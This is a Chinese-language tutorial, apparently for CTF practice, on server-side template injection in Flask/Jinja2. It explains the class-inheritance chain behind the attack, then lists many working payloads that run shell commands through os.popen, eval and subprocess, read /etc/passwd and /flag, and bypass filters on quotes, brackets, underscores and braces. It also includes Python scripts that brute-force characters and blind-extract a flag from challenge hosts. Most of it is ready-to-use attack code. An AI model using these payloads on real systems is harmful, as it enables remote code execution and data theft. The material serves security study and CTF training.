SSTI_Flask简要解析

漏洞原理

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

类型识别

根据返回的结果判断类型

Twig:	{{7*'7'}}     结果49 
jinja2:	{{7*'7'}}     结果为7777777 
smarty7:{*comment*}7  为77

利用方式

简要概括

分隔符

{{}}:直接输出表达式的内容,{{7*7}}会输出49
{%%}:用于执行一些控制或者一些条件循环语句
{##}:用于注释模板文件的内容,其中包含的内容不会在页面输出

基本流程

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:

获取某个类 -> 获取到类的基类:Object -> 获取其所有子类 -> 通过获取__globals__来获取os,file或其他能执行命令or读取文件的moudle

在SSTi中常用到的属性

__dict__   :保存类实例或对象实例的属性变量键值对字典
__class__  :用于获取当前对象所对应的类
__mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)
__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组;
__mro__    :返回一个类所继承的所有类,也是以元组形式
__subclasses__  :以列表返回类的子类
__init__   :类的初始化方法,所有类都具有__init__方法,便于利用他来作为跳板访问__globals__
__globals__     :function.__globals__,对用于获取function锁处于空间下可使用的module、方法以及所有变量;函数会以字典类型返回当前位置的全部全局变量,与func_globals等价
__builtin__&&__builtins__  :用于获取Python内置的方法,比如ord,chr等;
				python中可以直接运行一些函数,例如int(),list()等等。
				这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)。
				在py3中__builtin__被换成了builtin                  
				1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  
				2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
__import__   :导入模块
__getitem__  :提取元素

获取对象类

//获取对象类
''.__class__
	:<class 'str'>
().__class__	
:<class 'tuple'>
[].__class__
	:<class 'list'>
"".__class__
	:<class 'str'>
{}.__class__	:<class 'dict'>

获取基类

//基类
{{''.__class__.__base__}} 类型对象的直接基类
{{''.__class__.__bases__}}类型对象的全部基类,以元组形式,类型的实例通常没有属性
{{''.__class__.__mro__}} 此属性是由类组成的元组,在方法解析期间会基于它来查找基类

返回子类

//返回子类
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[-1].__subclasses__()

从返回的子类中找到可以利用的类

__init__ :方法用于将对象实例化,

__globals__ :获取function所处空间下可使用的module、方法以及所有变量。

__import__ :动态加载类和函数,也就是导入模块,经常用于导入os模块

一些利用语句

# 获得一个字符串实例
>>> ""
''
# 获得字符串的type实例
>>> "".__class__ 
<type 'str'>

# 获得其父类
>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

# 获得父类中的object类
>>> "".__class__.__mro__[2] 
<type 'object'>

# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>

# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__() 
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40] 
<type 'file'>

# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd") 
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>

# 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>

# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged 
User:/var/empty:/usr/bin/false
root:*:0:0:System 
Administrator:/var/root:/bin/sh

利用

第一种 os执行

os模块提供了非常丰富的方法用来处理文件和目录,列入popen,system都可以执行命令

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

注意:__ subclasses __()[75]中的[75]是子类的位置,由于环境的不同类的位置也不同

第二种 builtins代码执行

内建函数中eval open等等可以命令执行

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

第三种 Python中的subprocess.Popen()使用

{{().__class__.__bases__[0].__subclasses__()[258](%27ls%27,shell=True,stdout=-1).communicate()[0]}}

循环语句

当不确定调用方法的位置时可以跑循环并利用

os

利用os执行命令:利用for循环找到,os._wrap_close类

{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}

__builthins__

利用builthins执行命令:利用for循环找到,os.catch_warnings类

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

常用绕过

过滤单引号

get传参方式绕过

?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag

字符串拼接绕过

(config.__str__()[2])
(config.__str__()[42])	

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
等于
?name={{url_for.__globals__['os']}}

通过chr拼接

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

通过过滤器拼接

(()|select|string)[24]

过滤中括号[]

方法一:

# values 没有被过滤

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

方法二:cookie传参

# cookie 可以使用

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

方法三:字符串拼接

中括号可以拿点绕过,拿__getitem__等绕过都可以

通过__getitem__()构造任意字符

?name={{config.__str__().__getitem__(22)}}   # 就是22

Python脚本

# anthor:秀儿

import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url%(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j:
            print("config.__str__().__getitem__(%d) == %s"%(i,j))
            result+="config.__str__().__getitem__(%d)~"%(i)
            break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

过滤下划线

传参绕过检测

vaules 版

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

因为后端只检测name传参的部分,所以其他部分就可以传入任意字符,和rce绕过一样

cookie 版本

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=__globals__;b=cat /flag

过滤 os

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

过滤{{

方法一:{% 绕过

只过滤了两个左括号,没有过滤{%

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

方法二:{% %} 盲注

open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了

# anthor:秀儿

import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={

            'name':"{

   {% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{
   {% if a==request.values.d %}}feng{
   {% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "feng" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

注意name哪里用了 {{ 和 }} , 这是因为脚本用的format格式化字符串,用{}来占位,如果里面本来就有 { 和 } 的话,就需要用 {{ 和 }} 来代替 { 和 }

常规逃逸

# <class 'subprocess.Popen'>

{{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}



# <class '_frozen_importlib._ModuleLock'>

{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}



# <class '_frozen_importlib.BuiltinImporter'>

{{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}



# <class '_frozen_importlib_external.FileLoader'>

{{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}



# <class 'click.utils.LazyFile'>

## 命令执行

{{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}

## 读文件

{{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}



# <class 'warnings.catch_warnings'>

{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %}

{{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}